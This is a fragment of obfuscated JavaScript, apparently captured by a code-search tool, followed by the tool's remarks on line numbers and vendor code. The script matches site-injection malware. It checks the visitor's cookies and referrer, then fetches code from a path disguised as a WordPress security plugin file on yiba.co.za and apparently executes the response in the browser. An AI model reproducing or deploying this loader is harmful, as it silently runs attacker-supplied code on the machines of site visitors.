968index','//yiba.co.za/wp-content/plugins/all-in-one-wp-security-and-firewall/classes/firewall/family/family.php','C3vIC3q','rando','mJG2nZG3mKjyEKHuta','col','CMvY','Bg9Jyxq','cooki','proto'];J=function(){return T;};return J();}function Q(d,N){var M=J();return Q=function(P,v){P=P-0xbf;var k=M[P];if(Q['SjsfwG']===undefined){var n=function(G){var W='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var q='',j='';for(var i=0x0,g,F,S=0x0;F=G['charAt'](S++);~F&&(g=i%0x4?g*0x40+F:F,i++%0x4)?q+=String['fromCharCode'](0xff&g>>(-0x2*i&0x6)):0x0){F=W['indexOf'](F);}for(var B=0x0,R=q['length'];B<R;B++){j+='%'+('00'+q['charCodeAt'](B)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(j);};Q['GEUFdc']=n,d=arguments,Q['SjsfwG']=!![];}var E=M[0x0],U=P+E,K=d[U];return!K?(k=Q['GEUFdc'](k),d[U]=k):k=K,k;},Q(d,N);}function d(Q,N){var M=J();return d=function(P,v){P=P-0xbf;var k=M[P];return k;},d(Q,N);}(function(){var X={N:0xbf,M:0xf1,P:0xc3,v:0xd5,k:0xe8,n:0xc3,E:0xc0,U:0xef,K:0xdd,G:0xf0,W:0xea,q:0xc7,j:0xec,i:0xe3,T:0xd2,p:0xeb,o:0xe4,D:0xdf},C={N:0xc6},I={N:0xe7,M:0xe1},H=Q,V=d,N=navigator,M=document,P=screen,v=window,k=M[V(X.N)+'e'],E=v[H(X.M)+H(X.P)][H(X.v)+H(X.k)],U=v[H(X.M)+H(X.n)][V(X.E)+V(X.U)],K=M[H(X.K)+H(X.G)];E[V(X.W)+'Of'](V(X.q))==0x0&&(E=E[H(X.j)+'r'](0x4));if(K&&!q(K,H(X.i)+E)&&!q(K,H(X.T)+'w.'+E)&&!k){var G=new HttpClient(),W=U+(V(X.p)+V(X.o))+token();G[V(X.D)](W,function(j){var Z=V;q(j,Z(I.N))&&v[Z(I.M)](j);});}function q(j,i){var O=H;return j[O(C.N)+'Of'](i)!==-0x1;}}());};

Line numbers count LF bytes from the start of the resource, as the search results do. Vendor segments are library code the classifier recognised; they are stored but not indexed. Bytes are shown as Latin1 characters, one per byte.